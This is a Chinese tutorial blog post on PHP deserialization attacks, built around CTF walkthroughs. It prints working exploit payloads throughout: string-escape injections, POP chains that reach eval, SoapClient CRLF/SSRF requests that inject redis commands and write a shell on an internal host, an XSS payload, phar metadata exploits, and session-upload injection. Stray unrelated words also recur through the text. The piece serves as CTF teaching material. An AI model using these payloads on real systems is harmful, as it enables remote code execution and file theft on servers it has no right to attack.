本文总结php的反序列化,有php反序列字符串逃逸,php反序列化pop链构造,php反序列化原生类的利用,phar反序列化,session反序列化,反序列化小技巧,并附带ctf小题来讲明,还有php反序列化的预防方法(我的想法),建议按需查看,若有错误还望斧正。
如非特别说明运行环境为PHP 7.2.33-1+ubuntu18.04.1php
序列化能够将对象,类,数组,变量,匿名函数等,转换为字符串,这样用户就方便存储和传输,同时方便恢复使用,对服务器也减轻必定的压力。html
序列化为字符串时候,变量和参数之间用;隔开,同一个变量和参数间用:号隔开,以}做为结尾,具体结构,用如下代码来看下结构git
<?php class Lmg { public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io'; } $lmg1 = new Lmg; echo serialize($lmg1)."\n"; ?>
如:
测试代码:程序员
<?php class Lmg { public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io'; } $lmg1 = new Lmg; echo serialize($lmg1)."\n"; $Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}'; echo $Lmg2."\n"; print_r($lmg1); print_r(unserialize($Lmg2)); ?>
效果:能够发现,后面加了其余参数并不影响序列化后的结果
github
如:
测试代码:web
<?php class Lmg { public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io'; } $lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}'; $lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}'; print_r(unserialize($lmg4)); print_r(unserialize($lmg5)); ?>
效果:能够发现我改了变量名name使它的长度和实际4不符,就发生了报错,改其余相似
redis
__construct: 当建立类的时候自动调用,也就是构造函数,无返回值 __destruct: 当类实例子销毁时候自动调用,也就是析构函数,无返回值,其不能带参数 __toString:当对象被当作一个字符串使用时调用,好比echo $obj 。 __sleep: 当类的实例被序列化时调用(其返回须要一个数组或者对象,通常返回对象的$this,返回的值被用来作序列化的值,若是不返回,表示序列化失败) __wakeup: 当反序列化时被调用 __call:当调用对象中不存在的方法会自动调用该方法。 __get:在调用私有属性的时候会自动执行 __isset()在不可访问的属性上调用isset()或empty()触发 __unset()在不可访问的属性上使用unset()时触发
字符串逃逸利用的是反序列化的属性如上文,出现缘由是在序列化前进行了字符串的替换,致使字符串被拓冲,能够将后面的字符串挤出去,挤到后一个对象的变量从而改变其余的变量值,形成逃逸。
如:
测试代码:sql
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $AA=new A(); echo serialize($AA)."\n"; $res=filter(serialize($AA)); $c=unserialize($res); echo $c->pass; ?>
序列化后的字符串为:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
若是能让name变量的参数为
";s:4:"pass";s:6:"hack";}
用}号闭合掉后面的pass参数,就能改pass变量的参数值从而逃逸
要解决的就是这个位置的长度问题,只用读取到足够的长度,才会中止
能够发如今序列化进行了字符串的替换,但替换的时候bb替换成了ccc,也就是字符串变长了,达到咱们上面想要的目的
先判断想要构造的字符串长度shell
<?php $lmg = '";s:4:"pass";s:6:"hack";}'; echo strlen($lmg)."\n"; // $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; // echo strlen($lmg3); // $lmg2 = "bb"; // echo str_repeat($lmg2, 25); ?>
运行长度为25,一个bb换成ccc,就逃逸1个字符,也就是说须要25个bb才能将后面的字符串给挤出来数据库
<?php // $lmg = '";s:4:"pass";s:6:"hack";}'; // echo strlen($lmg)."\n"; // $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; // echo strlen($lmg3); $lmg2 = "bb"; echo str_repeat($lmg2, 25); ?>
将name变量参数变为25个bb+";s:4:"pass";s:6:"hack";}
测试代码:
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}'; public $pass='123456'; } $AA=new A(); // echo serialize($AA)."\n"; print_r($AA); $res=filter(serialize($AA)); echo $res."\n"; $c=unserialize($res); print_r($c); // echo $c->pass."\n"; ?>
运行结果:构造完的字符串,反序列化后发现密码被改成了hack,而咱们并未直接修改pass的参数,从而实现字符串的逃逸
地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
打开题目扫描一下发现wwww.zip文件下载,由于本文主要交php反序化就不绕了
发现config.php中又flag,因此要读取文件,在profile.php中发现读取文件的代码
else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
若是能让photo为config.php,而这数值来自$profile的反序列化,查看$profile
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
发现有过滤
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面
而后发现nickname有正则过滤,考虑用数组来进行绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
数组绕事后就考虑进行逃逸将photo挤出去
因此咱们须要构造nickname的参数值为";}s:5:"photo";s:10:"config.php";}
这里为何要在前面加一个}呢???,由于为了绕过nickname的正则匹配咱们将其构形成了数组,数组在反序列化要进行闭合,能够尝试一下
构造代码
<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut'); } $AA=new A(); echo serialize($AA)."\n"; // $res=filter(serialize($AA)); // $c=unserialize($res); // echo $c->pass; ?>
运行结果发现数组位置进行了闭合
这就是为啥上面要先进行}在逃逸
构造咱们想要的内容后要进行逃逸,咱们发现过滤的时候将where改为了hacker,进行了字符串拓展增建了一个字符串,咱们构造的字符串长度为34因此咱们要构造34个where进行逃逸
而后查看profile.php的图片,base64解码就得到了config.php中的flag
字符串变短的逃逸相似于变长,都是利用了替换字符串致使的可输入变量的改变,从而能够闭合
测试代码:
<?php function str_rep($string){ return preg_replace( '/php|test/','', $string); } $test['name'] = $_GET['name']; $test['sign'] = $_GET['sign']; $test['number'] = '2020'; $temp = str_rep(serialize($test)); printf($temp); $fake = unserialize($temp); echo '<br>'; print("name:".$fake['name'].'<br>'); print("sign:".$fake['sign'].'<br>'); print("number:".$fake['number'].'<br>'); ?>
发现进行了过滤,将php和test转换为空
若是咱们在name的参数中输入php,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,若是当name参数为空而读取到sign可控参数前,那么就能够经过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤php一个能吞掉3个字符串,因此咱们要输入7个php也就是吞掉21长度,然后面是19长度,因此咱们加2个字符来补充
因此构造
name=phpphpphpphpphpphpphp sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}
其中sign中12为补充使其为21长度,"号用于闭合name参数,而后能够发现,number不可变变量被改变
题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
打开题目是一段代码
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
先看看phpinfo中的数据,提示在d0g3_f1ag.php文件中
<?php $_SESSION["user"]='123'; $_SESSION["function"]='123'; $_SESSION["img"]='123'; $Lmg = serialize($_SESSION); echo $Lmg."\n"; ?>
先构造代码尝试运行结果
和上面原理同样要将吞掉,长度为23
";s:8:"function";s:75:"
为何s:后是75由于s后的长度必然大于10(也就是function传入数据的长度)因此咱们只要大于10小于100都行,由于数据长度不可能大于100
而flag换成空格吞掉4个字符串,因此要6个flag(固然也能够8个php:3*8=24),而后还有在function参数加一个字符串来知足吞24个字符串
因此构造数字1也就是知足24长度加的,img变量要base64,由于实际的img参数被咱们给挤出去了,所说这里不影响
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
而后查看显示,查看源代码:
将img参数读取的文件改成/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
有时碰见魔法方法中没有利用代码,即不存在命令执行文件操做函数,能够经过调用其余类方法和魔法函数来达到目的
反序列化想构造的出的方法
命令执行:exec()、passthru()、popen()、system()
文件操做:file_put_contents()、file_get_contents()、unlink()
代码:
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['d']); ?>
lemon类建立了正常normal类,而后销毁时执行了action()方法,很正常,但若是让其调用evil类,销毁时候就会调用evil的action()方法出现eval方法,就能达到效果,因此须要构造
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data = "phpinfo();"; } $lmg = new lemon(); echo urlencode(serialize($lmg))."\n"; ?>
evil中data参数为私有属性,在序列化时会出现不可复制字符,需进行url编码
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
其中phpinfo();可换成其余想要执行的命令system('dir');等等
反序列没有合适的利用链,须要利用php自带的原生类
__call方法在调用不存在类的方法时触发
PHP代码:
<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>
经过unserialize进行反序列化,调用不存在notextist()类,将触发__call()魔法函数。
php中原生类soapClient,存在能够进行__call魔法函数。
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是链接或Web服务或客户端和Web服务之间的接口。
其采用HTTP做为底层通信协议,XML做为数据传送的格式。
php中的SoapClient类能够建立soap数据报文,与wsdl接口进行交互。
其中option能够定义 User-Agent
payload:
<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>
注意:要开启soap,在php.ini中去除extension=php_soap.dll以前的“;” ,重启服务
payload:
<?php $lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/'))); echo $lmg; ?>
地址换成本身服务器地址
我是用虚拟机ubantu开启的端口
nc -l 8888
执行:
固然咱们也能够传数据进行CRLF,攻击内网服务,注入redis命令,由于可定义user_agent
payload:
<?php $lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/'))); // echo $lmg."\n"; $poc = "CONFIG SET dir /root/"; $target = "http://192.168.124.133:8888/"; $content = "Content-Length:45\r\n\r\ndata=abc"; $b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^', "\n\r", $aaa); echo $aaa."\n"; echo urlencode($aaa)."\n"; ?>
内网中写shell:
内网中test.php
<?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ echo 'hi'; @$a=$_POST[1]; @eval($a); } ?>
能够利用反序列化,CRLF内网攻击写shell,反序列化位置
<?php $rce = unserialize($_GET['u']); echo $rce->notexist(); echo $rce; ?>
payload:
<?php $target = 'http://127.0.0.1/CTF/test.php'; $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: ' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); echo urlencode($aaa); $c=unserialize(urldecode($aaa)); // $c->ss(); ?>
测试代码:
<?php echo unserialize($_GET['u']); ?>
利用payload:
<?php echo urlencode(serialize(new Exception("<script>alert(1)</script>"))); ?>
exception类对于错误消息没有通过编码,直接输出到了网页,即可以形成xss
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,能够在不使用php函数unserialize()的前提下,引发严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可使攻击者将相关漏洞的严重程度升级为远程代码执行。咱们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
phar文件结构
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include($_GET['Lmg']); ?>
生成phar文件,且定义的meta-data的序列化
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); //设置stub,增长gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'Lmg'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
运行生成文件为phar的文件
在真实状况,须要上传到目标服务器,而后利用phar在解压时会反序化meta-data部分来达到目的,这里就直接直接包含了,打印了Lmg字符串
受影响的函数
利用条件:
题目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
打开页面发现是一个注册于登陆页面,注册登陆发现是个相似网盘的功能,初始时在登陆和注册页面尝试sql注入发现不行,而后在下载功能尝试下载发现登陆和注册位置对数据库操做进行了prepare()的预处理,网盘有个下载功能,尝试下载,尝试任意下载,抓包,将下载内容改成源码(有index.php class.php upload.php download.php login.php register.php),为啥要加../../呢??前期我也不知道,看了别人题解发现,下载源码发现download.php,限制了切换了目录,同时无法下载其余目录,这就是后来为啥要用delete功能来phar://,那个位置没有进行目录的切换,而后想尝试文件上传来getshell,首先上传时进行了后缀判读,并且咱们不知道上传后了路径,因此考虑其余方法
查看delete.php,new file()其用了delete()函数,到class.php中查看detele()使用unlink()来删除,而unlink()函数是phar反序列化受影响函数,那么下面咱们想要的就是构造就是打开显示flag.txt文件,为啥flag在flag.txt中我就不知道了,可能ctf选手直觉,有点玄学了,若是你知道能够评论告诉我感谢,继续,在class.php中发现close()中File类file_get_contents(),可是无法调用,而后发现user类中的析构函数调用了close类,若是咱们令$db=new File();的化,可是虽然咱们打开了文件,可是没用回显,因此仍是看不见文件内容,因此要构造其余的pop链,而后发现FileList()中存在魔法函数_call,若是调用了不存在的函数就会执行,call函数的做用:
public function __call($func, $args) { array_push($this->funcs, $func); //若是调用了不存在的方法,将改方法放到funcs数组中 foreach ($this->files as $file) { //再从files数组中取出方法,利用这个元素去调用funcs中新增的func $this->results[$file->name()][$func] = $file->$func(); //由于调用了不存在的键值close(),因此func=close,因此$file->$func至关于调用close()函数 } }
而close函数打开$this->filename文件,因此咱们构造File中的filename=./flag.txt就能打开该文件,并且该文件的内容存储到了results数组键值中,而后咱们查看
File类中的析构函数,发现:
foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; }
这里对result的键值进行了输出,因此就能获得flag.txt中的内容
最后payload:
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; //构造filename让其打开该文件 $this->files = array($file); } } // $a = new User(); // $a->db = new FileList(); //这里让FileList调用了不存在函数close()函数 $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub $o = new User(); $o->db = new FileList(); //这里让FileList调用了不存在函数close()函数 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("exp.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
session用于跟踪用户的行为,保存用户的信息和状态等等
session当用户第一次访问网站时,session_start()函数就会建立惟一的sessionid,经过HTTP响应将sessionid保存到用户的cookie中。同时在服务器建立一个sessionid命名的文件,用于保存这个用户的会话信息。当用户再次访问这个网站时,也会经过http请求将cookie中保存的session再次携带,可是服务器不会再建立同名文件,而是硬盘中寻找sessionid的同名文件,且将其读取出来。
服务器session_start()函数做用
当会话开始或经过session_start()开始时,php内部会经过传来的sessionid来读取文件,php会自动序列化sessio文件内容,并将其填充到超全局变量$_SESSION中。若是不存在对应的会话数据,则建立一个sessionid的文件。若是用户为发送sessionid,则建立一个由32个字母组成的phpsessionid,并返回set-cookie
由于我使用的是phpstudy搭建的环境因此路径比较奇怪
常见的存储位置
/var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED
session的存储机制
测试代码:
<?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("session.serialize_handler", "php_binary"); session_start(); $_SESSION['Lmg'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>
分别注释查看不一样机制的保存方式,咱们分别?a=123查看
<?php //ini_set('session.serialize_handler', 'php'); ini_set("session.serialize_handler", "php_serialize"); //ini_set("session.serialize_handler", "php_binary"); session_start(); $_SESSION['Lmg'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "</pre>"; ?>
读取session代码:
<?php ini_set("session.serialize_handler", "php"); session_start(); class student { var $name; var $age; function __wakeup(){ echo $this->name; } } ?>
咱们先构造一个student的类来生成咱们想要的目的
<?php class student { var $name; var $age; } $Lmg = new student(); $Lmg->name = "hack"; $Lmg->age = "19"; echo serialize($Lmg); ?>
生成的序列化字符串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
咱们构造在储存页面构造payload,只须要在上面的字符串前加|就可,为何呢???
若是咱们传入的数值中有|那么在读取时就认为后面是咱们要反序列化的字符串,从而达到目的
将构造的字符串传入存储php中计:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看储存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
因此达到了目的
查看一下读取的php,成功打印了hack
在php中存在一个upload_process机制,能够自动建立$_SESSION一个键值对,并且其中的值用户能够控制,文件上传时应用能够发送一个POST请求到终端(例如经过XHR)来检查这个状态
什么意思呢????意思上传文件,同时post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量做为键,进行序列化而后存储到session文件中,下次请求就会反序列化session文件
题目地址:http://web.jarvisoj.com:32784/index.php
打开题目是源码:
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
先读取session,而后get传入phpinfo参数,而后建立对象,对象中构造函数给mdzz赋值phpinfo,析构函数执行eval,因此咱们的目的是将mdzz构造为读取文件
,先随便传入参数,查看phpinfo中的参数,发现默认的反序列化机制是php-serialize,可是题目所使用php,那么这个两个机制再上文产生的漏洞咱们已经了解,可是咱们无法给session进行存储啊,因此就要用到上面session上传进度的session存储来存入咱们想要的内容
构造上传表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
而后构造咱们想要的payload,打印目录文件print_r(scandir(dirname(FILE)));,若是写入析构函数会eval执行
<?php class OowoO { public $mdzz; } $Lmg = new OowoO(); $Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));"; echo serialize($Lmg); ?>
生成的序列化字符串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
咱们用上传表单随便上传一个文件,抓包将filename改成
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
为何要改filename,由于其会跟file数组保存到session中上面图片有说明
为啥要在字符串前加|,这个上面也说过,由于反序列化的机制不同,|后会当作要反序列化的字符串
为何要再"前加\,由于咱们的字符串是放在filename=""双引号内要进行转义
发现成功读取到文件名,可是咱们不知道文件目录,查看phpinfo(),查看当前脚本的运行路径
因此构造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));来读取这个文件
payload:
<?php class OowoO { public $mdzz; } $Lmg = new OowoO(); $Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));"; echo serialize($Lmg); ?>
生成的字符串,成功得到flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
漏洞利用版本:
php5<5.6.25
php7<7.0.10
漏洞产生缘由
若是存在_wakeup方法,调用unserilize()方法前则先调用_wakeup方法,可是序列化字符串中表示对象属性个数的值大于真实的属性个数时候,便会跳过_wakeup的执行
测试代码:
<?php class demo{ public $name = "Lmg"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; } } // $a = new demo(); // echo serialize($a); unserialize($_GET['Lmg']); ?>
对比发现页面只执行了__destruct方法,从而__wakeup()失效
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打开题目直接是部分源码,看到wakeup函数应该想到是利用__wakeup()失效漏洞
题目源码:
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
构造payload:
<?php class xctf{ public $flag = '111'; } $Lmg = new xctf(); echo serialize($Lmg); ?>
生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功得到flag
当执行反序列化时,使用正则'/[oc]:\d+:/i'
进行拦截时,主要拦截O:数字:的反序列化字符串,那要怎么绕过呢???
php反序列化时O:+4:和O:4:的解析是同样的,具体是php的内核是这么写的
因此能够经过加+来进行绕过
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打开题目是源代码:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
因此构造payload来进行绕过:
<?php class Demo { private $file = 'fl4g.php'; } $x= serialize(new Demo); $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match() $x=str_replace(':1:', ':3:',$x);//绕过__wakeup() echo base64_encode($x); ?>
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var传入便可得到flag
若是这里没有base64加密,我么也须要进行url编码,由于demo中private为私有属性,反序列化会出现不可见字符,因此要进行url编码
参考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《从从0到1 ctfer的成长之路》
最后欢迎访问个人我的博客:https://lmg66.github.io/ 说明:本文仅限技术研究与讨论,严禁用于非法用途,不然产生的一切后果自行承担